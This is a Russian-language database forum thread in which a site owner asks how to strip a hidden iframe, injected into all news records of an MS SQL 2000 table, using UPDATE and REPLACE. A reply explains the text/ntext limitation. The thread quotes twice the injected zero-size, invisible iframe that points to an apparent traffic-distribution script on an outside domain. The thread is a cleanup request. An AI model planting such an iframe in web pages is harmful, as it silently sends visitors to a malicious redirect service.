Помогите с составление запроса

Тема в разделе "Базы данных", создана пользователем Hander, 16 авг 2010.

Статус темы:
Закрыта.
Модераторы: latteo
  1. Hander

    Hander

    Регистр.:
    19 ноя 2007
    Сообщения:
    175
    Симпатии:
    45
    База MS SQL 2000 на хостинге
    во всех новостях прописался iframe
    я так понимаю запрос для зачистки должен выглядеть примерно так:
    UPDATE news SET text = REPLACE(text, '<iframe src="http://nemohuildiin.ru/tds/go.php?sid=1" width="0" height="0" style="display:none"></iframe>', ' ')
    но он выдает ошибку:
    Argument data type text is invalid for argument 1 of replace function.
    Помогите кто знает!
     
  2. chang

    chang

    Регистр.:
    20 ноя 2009
    Сообщения:
    364
    Симпатии:
    117
    по описанию первым значение ф-ции должна быть строка а у вас похоже он имеет тип NTEXT

    вот способ как обойти ограничение....
    http://sqlserver2000.databases.aspfaq.com/how-do-i-handle-replace-within-an-ntext-column-in-sql-server.html
     
  3. Hander

    Hander

    Регистр.:
    19 ноя 2007
    Сообщения:
    175
    Симпатии:
    45
    может быть дело в неправильном запросе?
    поскольку тип поля a_text_dn: 'text' а не 'ntext'
    как вообще должен выглядеть запрос? если:

    таблица: daynews
    поле: a_text_dn

    нужно удалить все вхождения текста в записях поля a_text_dn:

    <iframe src="http://nemohuildiin.ru/tds/go.php?sid=1" width="0" height="0" style="display:none"></iframe>
     
Статус темы:
Закрыта.